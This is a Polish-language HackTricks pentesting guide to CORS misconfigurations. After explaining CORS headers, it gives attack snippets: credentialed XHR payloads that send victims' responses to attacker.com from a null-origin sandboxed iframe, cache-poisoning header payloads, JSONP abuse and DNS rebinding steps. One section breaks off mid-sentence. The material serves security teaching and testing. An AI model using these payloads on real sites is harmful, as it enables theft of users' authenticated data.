hacktricks/pentesting-web/cors-bypass.md

# CORS - Konfiguracje błędów i bypass

<details>

<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

## Czym jest CORS?

Standard Cross-Origin Resource Sharing (CORS) **umożliwia serwerom określenie, kto może uzyskać dostęp do ich zasobów** i **jakie metody żądań HTTP są dozwolone** z zewnętrznych źródeł.

Polityka **tej samej domeny** wymaga, aby **serwer żądający** zasobu i serwer hostujący **zasób** miały takie same protokoły (np. `http://`), nazwy domen (np. `internal-web.com`) i **porty** (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają dostęp do zasobów.

Zastosowanie polityki tej samej domeny w kontekście `http://normal-website.com/example/example.html` jest przedstawione poniżej:

| Odwołany URL                              | Dostęp dozwolony?                  |
| ----------------------------------------- | ---------------------------------- |
| `http://normal-website.com/example/`      | Tak: Identyczny schemat, domena i port |
| `http://normal-website.com/example2/`     | Tak: Identyczny schemat, domena i port |
| `https://normal-website.com/example/`     | Nie: Inny schemat i port      |
| `http://en.normal-website.com/example/`   | Nie: Inna domena               |
| `http://www.normal-website.com/example/`  | Nie: Inna domena               |
| `http://normal-website.com:8080/example/` | Nie: Inny port*                |

*Internet Explorer ignoruje numer portu przy stosowaniu polityki tej samej domeny, co umożliwia ten dostęp.

### Nagłówek `Access-Control-Allow-Origin`

Ten nagłówek może zezwalać na **wiele źródeł**, wartość **`null`** lub dziką kartę **`*`**. Jednak **żaden przeglądarka nie obsługuje wielu źródeł**, a użycie dzikiej karty `*` podlega **ograniczeniom**. (Dzika karta musi być używana samodzielnie, a jej użycie w połączeniu z `Access-Control-Allow-Credentials: true` jest niedozwolone.)

Ten nagłówek jest **wysyłany przez serwer** w odpowiedzi na żądanie zasobu międzydomenowego inicjowane przez witrynę, a przeglądarka automatycznie dodaje nagłówek `Origin`.

### Nagłówek `Access-Control-Allow-Credentials`

Domyślnie żądania międzydomenowe są wykonywane bez uwierzytelnienia, takiego jak pliki cookie lub nagłówek Autoryzacja. Jednak serwer międzydomenowy może zezwolić na odczyt odpowiedzi, gdy przesyłane są uwierzytelniające dane, ustawiając nagłówek `Access-Control-Allow-Credentials` na **`true`**.

Jeśli ustawiono na `true`, przeglądarka przesyła dane uwierzytelniające (pliki cookie, nagłówki autoryzacji lub certyfikaty klienta TLS).
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

```javascript
fetch(url, {
credentials: 'include'
})
```

```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF Wstępne żądanie

### Zrozumienie wstępnych żądań w komunikacji międzydomenowej

Podczas inicjowania żądania międzydomenowego w określonych warunkach, takich jak użycie **niestandardowej metody HTTP** (innej niż HEAD, GET, POST), wprowadzenie nowych **nagłówków** lub użycie specjalnej wartości nagłówka **Content-Type**, może być wymagane wstępne żądanie. To wstępne żądanie, wykorzystujące metodę **`OPTIONS`**, służy poinformowaniu serwera o intencjach nadchodzącego żądania międzydomenowego, w tym o metodach HTTP i nagłówkach, które ma zamiar użyć.

Protokół **Cross-Origin Resource Sharing (CORS)** nakazuje sprawdzenie wstępne w celu określenia wykonalności żądanego działania międzydomenowego poprzez weryfikację dozwolonych metod, nagłówków i wiarygodności pochodzenia. Aby dokładnie zrozumieć, jakie warunki omijają konieczność wstępnego żądania, należy zapoznać się z obszernym przewodnikiem udostępnionym przez [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).

Należy zauważyć, że **brak wstępnego żądania nie znosi konieczności posiadania nagłówków autoryzacyjnych w odpowiedzi**. Bez tych nagłówków przeglądarka nie jest w stanie przetworzyć odpowiedzi na żądanie międzydomenowe.

Przyjrzyjmy się poniższemu przykładowi wstępnego żądania, które ma na celu użycie metody `PUT` wraz z niestandardowym nagłówkiem o nazwie `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony pochodzenie i inne szczegóły polityki CORS, jak pokazano poniżej:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
- **`Access-Control-Allow-Headers`**: Ten nagłówek określa, które nagłówki mogą być używane podczas rzeczywistego żądania. Jest ustawiany przez serwer, aby wskazać dozwolone nagłówki w żądaniach od klienta.
- **`Access-Control-Expose-Headers`**: Poprzez ten nagłówek serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi, oprócz prostych nagłówków odpowiedzi.
- **`Access-Control-Max-Age`**: Ten nagłówek wskazuje, jak długo wyniki żądania przedwstępnego mogą być przechowywane w pamięci podręcznej. Serwer ustawia maksymalny czas, w sekundach, w którym informacje zwrócone przez żądanie przedwstępne mogą być ponownie używane.
- **`Access-Control-Request-Headers`**: Ten nagłówek jest używany w żądaniach przedwstępnych i jest ustawiany przez klienta, aby poinformować serwer, które nagłówki HTTP klient chce użyć w rzeczywistym żądaniu.
- **`Access-Control-Request-Method`**: Ten nagłówek, również używany w żądaniach przedwstępnych, jest ustawiany przez klienta, aby wskazać, jaką metodę HTTP zostanie użyta w rzeczywistym żądaniu.
- **`Origin`**: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania międzydomenowego. Jest używany przez serwer do oceny, czy przychodzące żądanie powinno być zezwolone czy odrzucone na podstawie polityki CORS.


Należy zauważyć, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu **GET/POST nie jest wysyłane żądanie przedwstępne** (żądanie jest wysyłane **bezpośrednio**), ale jeśli chcesz uzyskać dostęp do **nagłówków/ciała odpowiedzi**, musi zawierać nagłówek _Access-Control-Allow-Origin_ zezwalający na to.\
**Dlatego CORS nie chroni przed CSRF (ale może być pomocny).**

### **Żądanie przedwstępne lokalnej sieci**

1. **`Access-Control-Request-Local-Network`**: Ten nagłówek jest dołączany do żądania klienta, aby wskazać, że zapytanie jest skierowane do zasobu lokalnej sieci. Służy jako znacznik informujący serwer, że żądanie pochodzi z wewnątrz lokalnej sieci.

2. **`Access-Control-Allow-Local-Network`**: W odpowiedzi serwery używają tego nagłówka, aby przekazać informację, że żądany zasób może być udostępniany podmiotom spoza lokalnej sieci. Działa jak zielone światło dla udostępniania zasobów między różnymi granicami sieciowymi, zapewniając kontrolowany dostęp przy zachowaniu protokołów bezpieczeństwa.

**Poprawna odpowiedź zezwalająca na żądanie lokalnej sieci** musi również zawierać w odpowiedzi nagłówek `Access-Controls-Allow-Local_network: true`:
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
Należy zauważyć, że adres IP **0.0.0.0** w systemie Linux umożliwia **ominięcie** wymagań dostępu do lokalnego hosta, ponieważ ten adres IP nie jest uważany za "lokalny".

Możliwe jest również **ominięcie wymagań dotyczących sieci lokalnej**, jeśli użyjesz **publicznego adresu IP lokalnego punktu końcowego** (takiego jak publiczny adres IP routera). Ponieważ w wielu przypadkach, nawet jeśli **publiczny adres IP** jest używany, jeśli jest to **z sieci lokalnej**, dostęp zostanie udzielony.


{% endhint %}

## Wykorzystywalne błędy konfiguracji

Zauważono, że ustawienie `Access-Control-Allow-Credentials` na **`true`** jest warunkiem wstępnym dla większości **rzeczywistych ataków**. To ustawienie pozwala przeglądarce na wysyłanie poświadczeń i odczytywanie odpowiedzi, zwiększając skuteczność ataku. Bez tego korzyść z zmuszenia przeglądarki do wysłania żądania zamiast samodzielnego wykonania tego czynu maleje, ponieważ wykorzystanie plików cookie użytkownika staje się niemożliwe.

### Wyjątek: Wykorzystanie lokalizacji sieciowej jako uwierzytelnienia

Istnieje wyjątek, w którym lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Pozwala to na wykorzystanie przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na adresie IP, aby uzyskać dostęp do aplikacji sieciowych. Ta metoda ma podobne skutki jak DNS rebinding, ale jest prostsza do wykorzystania.

### Odzwierciedlanie `Origin` w `Access-Control-Allow-Origin`

Teoretycznie jest mało prawdopodobne, że wartość nagłówka `Origin` zostanie odzwierciedlona w `Access-Control-Allow-Origin` ze względu na ograniczenia dotyczące łączenia tych nagłówków. Jednak programiści, którzy chcą włączyć CORS dla wielu adresów URL, mogą dynamicznie generować nagłówek `Access-Control-Allow-Origin`, kopiując wartość nagłówka `Origin`. Ten podejście może wprowadzać podatności, zwłaszcza gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wydawała się wiarygodna, wprowadzając w błąd logikę walidacji.
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
### Wykorzystywanie pochodzenia `null`

Pochodzenie `null`, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje umożliwiają na białej liście to pochodzenie w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia `null` za pomocą osadzonego iframe w piaskownicy, co umożliwia ominięcie ograniczeń CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Techniki obejścia wyrażeń regularnych

Podczas napotkania białej listy domen ważne jest przetestowanie możliwości obejścia, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na przejęcie subdomeny. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą pomijać niuanse w konwencjach nazewnictwa domen, co stwarza kolejne możliwości obejścia.

### Zaawansowane techniki obejścia wyrażeń regularnych

Wzorce regex zwykle skupiają się na znakach alfanumerycznych, kropce (.) i myślniku (-), pomijając inne możliwości. Na przykład, nazwa domeny stworzona w taki sposób, aby zawierać znaki interpretowane inaczej przez przeglądarki i wzorce regex, może obejść kontrole bezpieczeństwa. Sposób, w jaki Safari, Chrome i Firefox obsługują znaki podkreślenia w subdomenach, ilustruje, jak takie rozbieżności mogą być wykorzystane do obejścia logiki walidacji domeny.

**Aby uzyskać więcej informacji i ustawień dotyczących tego rodzaju obejścia, sprawdź:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)

### Z wykorzystaniem XSS wewnątrz subdomeny

Programiści często wprowadzają mechanizmy obronne, aby chronić się przed wykorzystaniem CORS poprzez uwzględnienie na białej liście domen, które mają uprawnienia do żądania informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest w pełni niezawodne. Obecność nawet jednej podatnej subdomeny na liście domen z białej listy może otworzyć drzwi do wykorzystania CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).

Aby to zilustrować, rozważmy scenariusz, w którym domena `requester.com` jest na białej liście, aby uzyskać dostęp do zasobów z innej domeny, `provider.com`. Konfiguracja po stronie serwera może wyglądać tak:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
```
W tej konfiguracji, wszystkie subdomeny `requester.com` mają dozwolony dostęp. Jednakże, jeśli subdomena, na przykład `sub.requester.com`, zostanie skompromitowana poprzez podatność na XSS, atakujący może wykorzystać tę słabość. Na przykład, atakujący mający dostęp do `sub.requester.com` może wykorzystać podatność na XSS, aby ominąć polityki CORS i nielegalnie uzyskać dostęp do zasobów na `provider.com`.


### **Zatrucie pamięci podręcznej po stronie serwera**

**[Z tej publikacji naukowej](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**

Możliwe jest, że poprzez wykorzystanie zatrucia pamięci podręcznej po stronie serwera za pomocą wstrzyknięcia nagłówka HTTP, można wywołać przechowywaną podatność na Cross-Site Scripting (XSS). Ten scenariusz rozgrywa się, gdy aplikacja nie oczyszcza nagłówka `Origin` z niedozwolonych znaków, co tworzy podatność szczególnie dla użytkowników przeglądarek Internet Explorer i Edge. Te przeglądarki traktują znak `\r` (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzyknięcie nagłówka HTTP.

Rozważmy następujące żądanie, w którym manipulowany jest nagłówek `Origin`:
```text
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer i Edge interpretują odpowiedź jako:
```text
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Podczas bezpośredniego wykorzystania tej podatności poprzez wysłanie błędnie sformułowanego nagłówka przez przeglądarkę internetową nie jest możliwe, można jednak ręcznie wygenerować spreparowane żądanie za pomocą narzędzi takich jak Burp Suite. Metoda ta może prowadzić do zapisania odpowiedzi w pamięci podręcznej serwera i nieumyślnego jej udostępnienia innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często związane z podatnościami XSS ze względu na możliwość kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.

Aby dowiedzieć się więcej na temat podatności XSS przechowywanych, zobacz [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).

**Uwaga**: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie pamięci podręcznej po stronie serwera, podkreśla kluczowe znaczenie walidacji i oczyszczania wszelkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model zabezpieczeń, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.


### **Zatrucie pamięci podręcznej po stronie klienta**

**[Z tej publikacji](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**

W tym scenariuszu zaobserwowano wystąpienie strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku `X-User-id`, który może zawierać złośliwy kod JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera znacznik obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.

Polityki Cross-Origin Resource Sharing (CORS) umożliwiają wysyłanie niestandardowych nagłówków. Jednak bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Krytyczny punkt pojawia się, gdy rozważa się zachowanie pamięci podręcznej przeglądarki. Jeśli nie jest określony nagłówek `Vary: Origin`, możliwe staje się zapisanie złośliwej odpowiedzi w pamięci podręcznej przeglądarki. Następnie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Mechanizm ten zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.

Aby zilustrować ten atak, przedstawiono przykład skryptu JavaScript, który ma być wykonany w środowisku strony internetowej, na przykład za pomocą JSFiddle. Ten skrypt wykonuje prostą czynność: wysyła żądanie do określonego adresu URL z niestandardowym nagłówkiem zawierającym złośliwy kod JavaScript. Po pomyślnym zakończeniu żądania próbuje nawigować do docelowego adresu URL, co potencjalnie może spowodować wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez odpowiedniego obsługiwania nagłówka `Vary: Origin`.

Poniżej przedstawiono podsumowanie użytego skryptu JavaScript do wykonania tego ataku:
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## Bypass

### XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, który wykorzystuje fakt, że Same Origin Policy (SOP) nie ma zastosowania podczas dołączania zasobów za pomocą znacznika skryptu. Wynika to z faktu, że skrypty muszą być dołączane z różnych domen. Ta podatność umożliwia atakującemu dostęp i odczytanie dowolnej zawartości, która została dołączona za pomocą znacznika skryptu.

Ta podatność staje się szczególnie istotna w przypadku dynamicznego JavaScriptu lub JSONP (JSON z Paddingiem), zwłaszcza gdy używane są informacje o uprawnieniach, takie jak ciasteczka, do uwierzytelniania. Podczas żądania zasobu z innej hosta, ciasteczka są dołączane, co umożliwia atakującemu ich dostęp.

Aby lepiej zrozumieć i złagodzić tę podatność, można skorzystać z wtyczki BurpSuite dostępnej pod adresem [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ta wtyczka może pomóc zidentyfikować i rozwiązać potencjalne podatności XSSI w Twoich aplikacjach internetowych.

[**Dowiedz się więcej o różnych typach XSSI i jak je wykorzystać tutaj.**](xssi-cross-site-script-inclusion.md)

Spróbuj dodać **parametr `callback`** w żądaniu. Być może strona została przygotowana do wysyłania danych jako JSONP. W takim przypadku strona zwróci dane z `Content-Type: application/javascript`, co umożliwi obejście polityki CORS.

![](<../.gitbook/assets/image (229).png>)

### Łatwe (bezużyteczne?) obejście

Jednym ze sposobów obejścia ograniczenia `Access-Control-Allow-Origin` jest poproszenie aplikacji internetowej o wykonanie żądania w Twoim imieniu i odesłanie odpowiedzi. Jednak w tym scenariuszu dane uwierzytelniające ostatecznej ofiary nie zostaną wysłane, ponieważ żądanie jest wykonywane do innej domeny.

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Narzędzie to dostarcza serwer proxy, który przekazuje Twoje żądanie wraz z nagłówkami, jednocześnie podszywając się pod nagłówek Origin, aby pasował do żądanej domeny. To skutecznie omija politykę CORS. Oto przykład użycia z XMLHttpRequest:

2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Narzędzie to oferuje alternatywne podejście do przekazywania żądania. Zamiast przekazywać Twoje żądanie w niezmienionej postaci, serwer wykonuje własne żądanie z określonymi parametrami.

### Ominięcie za pomocą Iframe + Popup

Możesz **obejść sprawdzanie CORS**, takie jak `e.origin === window.origin`, tworząc iframe i otwierając z niego nowe okno. Więcej informacji na następnej stronie:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### DNS Rebinding za pomocą TTL

DNS rebinding za pomocą TTL to technika wykorzystywana do obejścia pewnych środków bezpieczeństwa poprzez manipulowanie rekordami DNS. Oto jak to działa:

1. Atakujący tworzy stronę internetową i zmusza ofiarę do jej odwiedzenia.
2. Następnie atakujący zmienia DNS (IP) swojej własnej domeny, aby wskazywał na stronę internetową ofiary.
3. Przeglądarka ofiary buforuje odpowiedź DNS, która może zawierać wartość TTL (Time to Live), określającą, jak długo rekord DNS powinien być uważany za ważny.
4. Po upływie TTL przeglądarka ofiary wysyła nowe żądanie DNS, umożliwiając atakującemu wykonanie kodu JavaScript na stronie ofiary.
5. Utrzymując kontrolę nad adresem IP ofiary, atakujący może zbierać informacje z ofiary, nie wysyłając żadnych ciasteczek do serwera ofiary.

Warto zauważyć, że przeglądarki mają mechanizmy buforowania, które mogą zapobiec natychmiastowemu wykorzystaniu tej techniki, nawet przy niskich wartościach TTL.

DNS rebinding może być przydatny do obejścia jawnych sprawdzeń IP przeprowadzanych przez ofiarę lub w przypadkach, gdy użytkownik lub bot pozostaje na tej samej stronie przez dłuższy czas, co pozwala na wygaśnięcie bufora.

Jeśli potrzebujesz szybkiego sposobu na wykorzystanie DNS rebinding, możesz skorzystać z usług takich jak [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).

Aby uruchomić własny serwer DNS rebinding, możesz skorzystać z narzędzi takich jak **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Wymaga to udostępnienia lokalnego portu 53/udp, utworzenia rekordu A wskazującego na ten port (np. ns.example.com) i utworzenia rekordu NS wskazującego na wcześniej utworzoną poddomenę A (np. ns.example.com). Każda poddomena poddomeny ns.example.com będzie wówczas rozwiązywana przez Twój host.

Możesz również korzystać z publicznie działającego serwera pod adresem [http://rebind.it/singularity.html](http://rebind.it/singularity.html), aby lepiej zrozumieć i eksperymentować.

### DNS Rebinding za pomocą **zalewu pamięci podręcznej DNS**

DNS rebinding za pomocą zalewu pamięci podręcznej DNS to kolejna technika wykorzystywana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:

1. Na początku, gdy ofiara wysyła żądanie DNS, otrzymuje adres IP atakującego.
2. Aby obejść obronę buforowania, atakujący wykorzystuje usługę pracownika usługi. Pracownik usługi zalewa pamięć podręczną DNS, co skutecznie usuwa buforowany nazwę serwera atakującego.
3. Gdy przeglądarka ofiary wysyła drugie żądanie DNS, otrzymuje teraz adres IP 127.0.0.1, który zazwyczaj odnosi się do lokalnego hosta.

Poprzez zalewanie pamięci podręcznej DNS za pomocą pracownika usługi, atakujący może manipulować procesem rozwiązywania DNS i wymusić drugie żądanie przeglądarki ofiary, tym razem rozwiązując na żądany przez atakującego adres IP.

### DNS Rebinding za pomocą **pamięci podręcznej**

Innym sposobem obejścia obrony buforowania jest wykorzystanie wielu adresów IP dla tej samej poddomeny w dostawcy DNS. Oto jak to działa:

1. Atakujący ustawia dwa rekordy A (lub pojedynczy rekord A z dwoma adresami IP) dla tej samej poddomeny w dostawcy DNS.
2. Gdy przeglądarka sprawdza te rekordy, otrzymuje oba adresy IP.
3. Jeśli przeglądarka zdecyduje się najpierw użyć adresu IP atakującego, atakujący może dostarczyć payload, który wykonuje żądania HTTP do tej samej domeny.
4. Jednak po uzyskaniu adresu IP ofiary, atakujący przestaje odpowiadać przeglądarce ofiary.
5. Przeglądarka ofiary, po stwierdzeniu, że domena nie odpowiada, przechodzi do użycia drugiego podanego adresu IP.
6. Przez dostęp do drugiego adresu IP przeglądarka omija politykę Same Origin Policy (SOP), co umożliwia atakującemu wykorzystanie tego i pozyskanie informacji oraz ich eksfiltrację.

Ta technika wykorzystuje zachowanie przeglądarek, gdy dla domeny podawane są multiple adresy IP. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wy
### Inne powszechne obejścia

* Jeśli **nie są dozwolone wewnętrzne adresy IP**, mogli **zapomnieć zakazać 0.0.0.0** (działa w systemach Linux i Mac)
* Jeśli **nie są dozwolone wewnętrzne adresy IP**, odpowiedz z **CNAME** do **localhost** (działa w systemach Linux i Mac)
* Jeśli **nie są dozwolone wewnętrzne adresy IP** jako odpowiedzi DNS, można odpowiedzieć **CNAME na wewnętrzne usługi**, takie jak www.corporate.internal.

### Uzbrojone ataki DNS Rebidding

Więcej informacji na temat poprzednich technik obejścia i jak korzystać z narzędzia można znaleźć w prezentacji [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne komponenty do ponownego powiązania adresu IP serwera atakującego z adresem IP docelowego komputera oraz do dostarczania ładunków ataku w celu wykorzystania podatnego oprogramowania na docelowym komputerze.

### Rzeczywista ochrona przed atakami DNS Rebinding

* Używaj TLS w wewnętrznych usługach
* Wymagaj uwierzytelnienia w celu uzyskania dostępu do danych
* Sprawdzaj nagłówek Host
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propozycja zawsze wysyłania żądania pre-flight, gdy publiczne serwery chcą uzyskać dostęp do wewnętrznych serwerów

## **Narzędzia**

**Przeszukaj możliwe błędy w politykach CORS**

* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)

## Odwołania
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)


<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **na GitHubie.**

</details>